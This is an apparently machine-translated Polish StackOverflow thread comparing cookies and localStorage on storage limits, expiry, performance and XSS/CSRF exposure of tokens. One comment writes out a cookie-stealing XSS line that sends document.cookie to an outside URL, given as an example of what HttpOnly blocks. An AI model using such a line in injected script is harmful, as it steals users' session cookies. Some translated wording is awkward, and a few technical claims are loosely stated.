Lokalne przechowywanie a pliki cookie

1027

Chcę skrócić czas ładowania na moich stronach, przenosząc wszystkie pliki cookie do pamięci lokalnej, ponieważ wydają się mieć tę samą funkcjonalność. Czy są jakieś plusy / minusy (szczególnie pod względem wydajności) w używaniu pamięci lokalnej do zastąpienia funkcji plików cookie, z wyjątkiem oczywistych problemów ze zgodnością?

Gio Borje
źródło
107
Possibe minus: wartości localStorge na stronach Secure (SSL) są izolowane. Jeśli więc Twoja witryna ma zarówno strony http, jak i https, nie będziesz mieć dostępu do wartości ustawionych na stronie http podczas odwiedzania strony https. Właśnie wypróbowałem localStorage dla mini-koszyka ajax w sklepie Magento. Epicka
6
zaskakująco dobrze wspierane (w porównaniu do tego, czego się spodziewałem) caniuse.com/#search=localstorage
Simon_Weaver
6
Niektórzy użytkownicy z reguły wyłączają pliki cookie w swoich przeglądarkach. Lokalna pamięć masowa może działać lepiej dla tych użytkowników.
evolross
9
Possibe minusem: wartości [localStorage] na stronach Secure (SSL) są odizolowane ” To naprawdę wielka zaleta.
ciekawy
13
Dlatego powinieneś po prostu wymusić SSL na swojej stronie ... Nie widzę powodu, aby oferować obie wersje strony, jeśli masz już dostępną wersję SSL.
Xji,

Odpowiedzi:

1277

Pliki cookie i lokalne przechowywanie służą różnym celom. Pliki cookie służą przede wszystkim do odczytu po stronie serwera , pamięć lokalna może być odczytywana tylko po stronie klienta . Pytanie więc, w twojej aplikacji, kto potrzebuje tych danych - klienta czy serwera?

Jeśli to twój klient (JavaScript), to na pewno przełącz się. Marnujesz przepustowość, wysyłając wszystkie dane w każdym nagłówku HTTP.

Jeśli jest to twój serwer, lokalna pamięć masowa nie jest tak przydatna, ponieważ będziesz musiał jakoś przesłać dane (z Ajaxem lub ukrytymi polami formularza lub coś takiego). Może to być w porządku, jeśli serwer potrzebuje tylko małego podzbioru danych ogółem dla każdego żądania.

Mimo to będziesz chciał zostawić sesyjny plik cookie jako plik cookie.

Co do różnicy technicznej, a także mojego zrozumienia:

  1. Oprócz tego, że są starym sposobem zapisywania danych, pliki cookie dają limit 4096 bajtów (w rzeczywistości 4095) - to na plik cookie. Pamięć lokalna ma wielkość 5 MB na domenę - SO Pytanie również o tym wspomina.

  2. localStoragejest implementacją Storageinterfejsu. Przechowuje dane bez daty wygaśnięcia i jest usuwane tylko przez JavaScript lub czyszczenie pamięci podręcznej przeglądarki / danych przechowywanych lokalnie - w przeciwieństwie do wygaśnięcia plików cookie.

jpsimons
źródło
30
HTML5 ma pamięć o zasięgu sesji, która może być również używana jako zamiennik sesyjnych plików cookie.
Pat Niemeyer,
5
@ PatNiemeyer, możesz założyć, sessionStorageże plik cookie wygasa, dopóki przeglądarka nie zostanie zamknięta (nie karta). @darkporter, dzięki za odpowiedź. Chciałbym jednak usłyszeć różnicę techniczną między plikami cookie a pamięcią lokalną. czekam na twoją edycję.
Om Shankar,
28
@OmShankar Nie jestem pewien, czy nadal masz wątpliwości, ale jest różnica: localStorage pozostaje na kliencie, a cookiessą wysyłane z nagłówkiem HTTP. To największa (ale nie jedyna) różnica między nimi.
Andre Calil,
16
Jeśli aplikacja kliencka komunikuje się z interfejsem API REST, użycie pliku cookie do przechowywania i przesyłania identyfikatora sesji nie jest idiomatyczne w REST. Tak więc dla mnie pliki cookie wyglądają jak stara technologia, która prawdopodobnie powinna zostać zastąpiona pamięcią lokalną (+ JavaScript, jeśli musisz przekazać dane, takie jak identyfikator sesji, do serwera).
Tvaroh,
8
Lokalne przechowywanie niekoniecznie jest bezpieczniejszym wyborem niż pliki cookie, ponieważ jest podatne na ataki XSS. Osobiście wybrałbym zaszyfrowane ciasteczko HTTPS (być może przy użyciu JWT lub JWE), ze starannie zaplanowanym schematem wygasania. tj. wdrożyć zarówno zasady dotyczące ważności plików cookie na poziomie plików cookie, jak i proces „odnawiania” plików cookie po stronie serwera, aby zmniejszyć prawdopodobieństwo wykorzystania pliku cookie przez złośliwe strony trzecie. Poniżej napisałem odpowiedź, powołując się na części artykułu Stormpath na ten temat.
XtraSimplicity
231

W kontekście JWT Stormpath napisał dość pomocny artykuł opisujący możliwe sposoby ich przechowywania oraz (nie) zalety każdej metody.

Zawiera także krótki przegląd ataków XSS i CSRF oraz sposobów ich zwalczania.

Załączam kilka krótkich fragmentów poniższego artykułu, na wypadek, gdyby ich artykuł został wyłączony z trybu offline / strona się nie wyświetla.

Lokalny magazyn

Problemy:

Web Storage (localStorage / sessionStorage) jest dostępny poprzez JavaScript w tej samej domenie. Oznacza to, że każdy skrypt JavaScript działający w Twojej witrynie będzie miał dostęp do pamięci internetowej, przez co może być podatny na ataki typu cross-site scripting (XSS). XSS w skrócie to rodzaj luki, w której atakujący może wstrzyknąć JavaScript, który będzie działał na twojej stronie. Podstawowe ataki XSS próbują wstrzyknąć JavaScript poprzez dane wejściowe formularza, w których atakujący ostrzega („Jesteś zhakowany”); do formularza, aby sprawdzić, czy jest uruchamiany przez przeglądarkę i może być oglądany przez innych użytkowników.

Zapobieganie:

Aby zapobiec XSS, powszechną odpowiedzią jest ucieczka i kodowanie wszystkich niezaufanych danych. Ale to dalekie od pełnej historii. W 2015 r. Nowoczesne aplikacje internetowe używają JavaScript hostowanego w sieciach CDN lub poza infrastrukturą. Nowoczesne aplikacje internetowe obejmują zewnętrzne biblioteki JavaScript do testowania A / B, analizy ścieżek / rynku oraz reklamy. Korzystamy z menedżerów pakietów, takich jak Bower, aby importować kod innych osób do naszych aplikacji.

Co się stanie, jeśli zagrożony będzie tylko jeden z używanych skryptów? Na stronie można osadzić złośliwy kod JavaScript, a pamięć internetowa jest zagrożona. Tego rodzaju ataki XSS mogą uzyskać dostęp do wszystkich stron internetowych, które odwiedzają Twoją witrynę, bez ich wiedzy. Prawdopodobnie dlatego kilka organizacji odradza przechowywanie niczego wartościowego lub nie ufanie żadnej informacji w pamięci internetowej. Obejmuje to identyfikatory sesji i tokeny.

Jako mechanizm przechowywania, Web Storage nie wymusza żadnych bezpiecznych standardów podczas transferu. Ktokolwiek czyta Pamięć sieciową i korzysta z niej, musi dołożyć należytej staranności, aby upewnić się, że zawsze wysyła JWT przez HTTPS, a nigdy HTTP.

Ciasteczka

Problemy:

Pliki cookie, gdy są używane z flagą plików cookie HttpOnly, nie są dostępne przez JavaScript i są odporne na XSS. Możesz także ustawić flagę Bezpieczne ciasteczko, aby zagwarantować, że ciasteczko jest wysyłane tylko przez HTTPS. Jest to jeden z głównych powodów wykorzystywania plików cookie w przeszłości do przechowywania tokenów lub danych sesji. Współcześni programiści niechętnie korzystają z plików cookie, ponieważ tradycyjnie wymagali przechowywania danych na serwerze, co łamie najlepsze praktyki RESTful. Pliki cookie jako mechanizm przechowywania nie wymagają przechowywania stanu na serwerze, jeśli przechowujesz JWT w pliku cookie. Wynika to z faktu, że JWT zawiera wszystko, czego potrzebuje serwer, aby obsłużyć żądanie.

Pliki cookie są jednak podatne na inny rodzaj ataku: fałszowanie żądań w różnych witrynach (CSRF). Atak CSRF to rodzaj ataku, który ma miejsce, gdy złośliwa witryna internetowa, wiadomość e-mail lub blog powoduje, że przeglądarka internetowa użytkownika wykonuje niepożądane działanie na zaufanej stronie, na której użytkownik jest obecnie uwierzytelniany. Jest to sposób wykorzystania plików cookie przez przeglądarkę. Plik cookie można wysłać tylko do domen, w których jest dozwolony. Domyślnie jest to domena, która pierwotnie ustawiła plik cookie. Plik cookie zostanie wysłany na żądanie, niezależnie od tego, czy jesteś na galaxies.com czy hahagonnahackyou.com.

Zapobieganie:

Nowoczesne przeglądarki obsługują SameSiteflagę , oprócz HttpOnlyi Secure. Celem tej flagi jest zapobieganie przesyłaniu plików cookie w żądaniach między witrynami, zapobiegając wielu rodzajom ataków CSRF.

W przeglądarkach, które nie obsługują SameSiteCSRF można zapobiec, używając zsynchronizowanych wzorców tokenów. Brzmi to skomplikowanie, ale wszystkie nowoczesne frameworki mają na to wsparcie.

Na przykład AngularJS ma rozwiązanie umożliwiające sprawdzenie, czy plik cookie jest dostępny tylko dla Twojej domeny. Prosto z dokumentów AngularJS:

Podczas wykonywania żądań XHR usługa $ http odczytuje token z pliku cookie (domyślnie XSRF-TOKEN) i ustawia go jako nagłówek HTTP (X-XSRF-TOKEN). Ponieważ tylko JavaScript działający w Twojej domenie może odczytać ciasteczko, Twój serwer może być pewny, że XHR pochodzi z JavaScript działającego w Twojej domenie. Możesz uczynić tę ochronę CSRF bezpaństwową, włączając xsrfTokenroszczenie JWT:

{
  "iss": "http://galaxies.com",
  "exp": 1300819380,
  "scopes": ["explorer", "solar-harvester", "seller"],
  "sub": "[email protected]",
  "xsrfToken": "d9b9714c-7ac0-42e0-8696-2dae95dbc33e"
}

Wykorzystanie ochrony CSRF w twojej aplikacji internetowej sprawia, że ​​ciasteczka są solidne do przechowywania JWT. CSRF można również częściowo zapobiec, sprawdzając odsyłacz HTTP i nagłówek Origin w interfejsie API. Ataki CSRF będą miały nagłówki Referer i Origin niezwiązane z Twoją aplikacją.

Pełny artykuł można znaleźć tutaj: https://stormpath.com/blog/where-to-store-your-jwts-cookies-vs-html5-web-storage/

Mają także pomocny artykuł o tym, jak najlepiej zaprojektować i wdrożyć JWT, w odniesieniu do samej struktury tokena: https://stormpath.com/blog/jwt-the-right-way/

XtraSimplicity
źródło
6
Doskonały punkt Zaskoczony wpływ bezpieczeństwa lokalnego przechowywania (lub jego braku dla XSS) nie został wcześniej wspomniany w tak dobrze przeczytanym pytaniu - z wyjątkiem jednej odpowiedzi, która nieprawidłowo IMHO sugeruje, że jest bezpieczniejsza!
Barry Pollard,
25
Szczerze mówiąc, uważam, że cała rozmowa o bezpieczeństwie jest trochę rozpraszająca. Tak, localStoragejest dostępny dla innych skryptów na stronie ... Ale tak jest XMLHttpRequest... I tak, flaga HttpOnly chroni przed kradzieżą pliku cookie, ale przeglądarka nadal wysyła go automatycznie do pasującej domeny, więc ... w zasadzie, gdy masz złośliwe skrypty na twojej stronie jesteś już zhakowany.
Stijn de Witt
3
@StijndeWitt Każda warstwa ochrony ma swoją moc i słabość. Dlatego zwykle lepiej jest mieć wiele warstw ochronnych. Podam tylko przykład: HttpOnly zapobiega również atakom innym niż ajax, takim jak window.location = 'http://google.com?q=' + escape(document.cookie);. Ten atak omija sprawdzenie CORS w przeglądarkach.
Memet Olsen,
Zakładając, że masz mniej niż w pełni zaufanych dostawców niektórych rzeczy, takich jak reklamy ... dlaczego Twoje reklamy są nawet wyświetlane w tej samej domenie co własne zaufane treści? Reklamy muszą być wyświetlane na stronie internetowej, zwykle nie muszą uruchamiać JS na stronie. Tak duża integracja treści stron trzecich jest nieuzasadniona.
ciekawy
Dlaczego token csrf w pliku cookie (który z definicji musi być inny niż HTTP, aby można go było odczytać za pomocą JavaScript i wysłać nagłówkiem) pomaga w kwestii bezpieczeństwa? Jeśli moja witryna jest podatna na xss, plik cookie można odczytać tak łatwo, jak przechowywanie lokalne / sesyjne.
Juangamnik,
96

Dzięki localStorageaplikacjom internetowym można przechowywać dane lokalnie w przeglądarce użytkownika. Przed HTML5 dane aplikacji musiały być przechowywane w plikach cookie, zawartych w każdym żądaniu serwera. Duże ilości danych można przechowywać lokalnie, bez wpływu na wydajność witryny. Chociaż localStoragejest bardziej nowoczesny, istnieją obie zalety i wady obu technik.

Ciasteczka

Plusy

  • Wsparcie dla starszych wersji (istnieje od zawsze)
  • Trwałe dane
  • Terminy ważności

Cons

  • Każda domena przechowuje wszystkie pliki cookie w jednym ciągu, co może utrudniać analizę danych
  • Dane są nieszyfrowane, co staje się problemem, ponieważ ... ... choć małe, pliki cookie są wysyłane przy każdym żądaniu HTTP Ograniczony rozmiar (4KB)
  • Wstrzyknięcie SQL można wykonać z pliku cookie

Lokalny magazyn

Plusy

  • Obsługa większości nowoczesnych przeglądarek
  • Trwałe dane przechowywane bezpośrednio w przeglądarce
  • Reguły tego samego pochodzenia dotyczą lokalnych danych pamięci
  • Nie jest wysyłany z każdym żądaniem HTTP
  • ~ 5 MB miejsca na domenę (to 5120 KB)

Cons

  • Nie był wcześniej obsługiwany przez: IE 8, Firefox 3.5, Safari 4, Chrome 4, Opera 10.5, iOS 2.0, Android 2.0
  • Jeśli serwer potrzebuje przechowywanych informacji o kliencie, celowo musisz je wysłać.

localStorageużycie jest prawie identyczne jak w przypadku sesji pierwszej. Mają dość dokładne metody, więc przejście z sesji na sesję localStoragejest naprawdę dziecinnie proste. Jeśli jednak przechowywane dane są naprawdę kluczowe dla Twojej aplikacji, prawdopodobnie użyjesz plików cookie jako kopii zapasowej na wypadek, gdyby localStoragenie były dostępne. Jeśli chcesz sprawdzić obsługę przeglądarki localStorage, wystarczy uruchomić ten prosty skrypt:

/* 
* function body that test if storage is available
* returns true if localStorage is available and false if it's not
*/
function lsTest(){
    var test = 'test';
    try {
        localStorage.setItem(test, test);
        localStorage.removeItem(test);
        return true;
    } catch(e) {
        return false;
    }
}

/* 
* execute Test and run our custom script 
*/
if(lsTest()) {
    // window.sessionStorage.setItem(name, 1); // session and storage methods are very similar
    window.localStorage.setItem(name, 1);
    console.log('localStorage where used'); // log
} else {
    document.cookie="name=1; expires=Mon, 28 Mar 2016 12:00:00 UTC";
    console.log('Cookie where used'); // log
}

„Wartości localStorage na stronach Secure (SSL) są izolowane”, jak ktoś zauważył, pamiętaj, że localStorage nie będzie dostępny, jeśli zmienisz protokół „http” na „https”, gdzie ciasteczko będzie nadal dostępne. Jest to w pewnym sensie ważne, aby pamiętać, jeśli pracujesz z bezpiecznymi protokołami.

DevWL
źródło
1
Sprawdzanie, które wykonujesz, nie jest zbyt wiarygodne. Istnieją przeglądarki i tryby (prywatne), które mają obiekt Storage, ale nie ustawiają w nim ostrych wartości. Jedynym sposobem sprawdzenia faktycznej pomocy technicznej jest próba złapania na niej zestawu do usunięcia.
JavaScript
Podjęty
10
skoro „Wstrzyknięcie SQL można wykonać” jest wymienione jako contra pliku cookie, mówisz, że nie można go wykonać z localStorage?
Martin Schneider,
Kolejny pro dla plików cookie. Pliki cookie można oznaczyć tylko jako HTTP. Oznacza to, że nie można uzyskać do nich dostępu za pomocą JavaScript, co z kolei oznacza, że ​​żadne złośliwe ataki XSS nie mogą pobrać zawartości plików cookie. Z tego powodu niekoniecznie powiedziałbym, że lokalne przechowywanie jest bezpieczniejsze niż pliki cookie.
wp-overwatch.com
@ Mr.Me Podczas gdy ataki XSS nie mogą odczytać pliku cookie HTTPOnly, osoba atakująca może wykonać dowolne żądanie HTTP, które użytkownik może (z definicji) ograniczyć tylko sesją przeglądarki. Zakładając, że sesyjny plik cookie jest nieprzejrzystym identyfikatorem, podobnie jak prawie wszystkie sesyjne pliki cookie, odczytanie wartości pliku cookie jest przydatne tylko do wykonania żądania HTTP, w tym: nie uczysz się niczego z samą wartością pliku cookie. (Uwaga: sesyjne pliki cookie można czasem powiązać z określonym źródłowym adresem IP, nagłówkiem klienta użytkownika lub innymi właściwościami przeglądarki; ataki XSS wykonują żądania HTTP z przeglądarki, więc się zgadzają).
ciekawy
7

Szybkość lokalnej pamięci zależy w dużej mierze od przeglądarki, z której korzysta klient, a także od systemu operacyjnego. Chrome lub Safari na Macu mogą być znacznie szybsze niż Firefox na PC, szczególnie z nowszymi interfejsami API. Jak zawsze jednak testowanie jest twoim przyjacielem (nie mogłem znaleźć żadnych testów porównawczych).

Naprawdę nie widzę dużej różnicy w plikach cookie w porównaniu z pamięcią lokalną. Ponadto powinieneś bardziej martwić się problemami ze zgodnością: nie wszystkie przeglądarki zaczęły nawet obsługiwać nowe interfejsy API HTML5, więc pliki cookie byłyby najlepszym wyborem pod względem szybkości i zgodności.

pop850
źródło
2
To tylko wewnętrzny projekt, więc rzeczy takie jak kompatybilność z różnymi przeglądarkami nie są tak naprawdę konieczne. Ponieważ pliki cookie są wysyłane przy każdym żądaniu HTTP (moja aplikacja ma ~ 77 żądań), co oznacza ~ 500 kB dodatkowego obciążenia. Wiem, że oczywistym rozwiązaniem jest CDN, ale chcę wypróbować coś, co nie zależy od serwera. Sam nie mogłem znaleźć żadnych punktów odniesienia i dlatego miałem nadzieję, że ktoś tutaj może wiedzieć.
Gio Borje,
14
Dlaczego Chrome lub Safari byłyby szybsze na komputerze Mac? To prawie taki sam kod przeglądarki działający na Macu, Linuksie lub Windowsie.
Mark K Cowan
7

Warto również wspomnieć, że localStoragenie można z niego korzystać, gdy użytkownicy przeglądają w trybie „prywatnym” w niektórych wersjach mobilnego Safari.

Cytat z MDN ( https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage ):

Uwaga: Począwszy od iOS 5.1, Safari Mobile przechowuje dane localStorage w folderze pamięci podręcznej, który podlega okazjonalnemu czyszczeniu na żądanie systemu operacyjnego, zwykle w przypadku braku miejsca. Tryb prywatnego przeglądania Safari Mobile również całkowicie uniemożliwia pisanie do localStorage.

Benjaminz
źródło
6

Lokalna pamięć masowa może przechowywać do 5 MB danych offline, podczas gdy sesja może również przechowywać do 5 MB danych. Ale pliki cookie mogą przechowywać tylko dane 4 KB w formacie tekstowym.

Dane do przechowywania LOCAl i Session w formacie JSON, dzięki czemu można je łatwo przeanalizować. Ale pliki cookie mają format ciągów.

Avinash Malhotra
źródło
6

Ciasteczka :

  1. Wprowadzony przed HTML5.
  2. Ma datę ważności.
  3. Usuń ze strony JS lub Wyczyść dane przeglądarki lub po upływie daty ważności.
  4. Zostanie wysłany do serwera na każde żądanie.
  5. Pojemność wynosi 4KB.
  6. Pliki cookie mogą przechowywać tylko ciągi znaków.
  7. Istnieją dwa rodzaje plików cookie: trwałe i sesyjne.

Lokalny magazyn:

  1. Wprowadzono z HTML5.
  2. Nie ma daty ważności.
  3. Usuń z JS lub Wyczyść dane przeglądarki.
  4. Możesz wybrać, kiedy dane muszą zostać wysłane na serwer.
  5. Pojemność wynosi 5 MB.
  6. Dane są przechowywane przez czas nieokreślony i muszą być ciągiem.
  7. Tylko jeden typ.
Seyedraouf Modarresi
źródło
6. localStorage może przechowywać tylko łańcuchy, prymitywy i obiekty muszą zostać przekonwertowane na łańcuchy przed przechowywaniem, 7. sessionStorage jest również dostępny i jest identyczny z localStorage, ale nie trwa
Robbie Milejczak
Możesz przechowywać tylko żądła w magazynie
TheMisir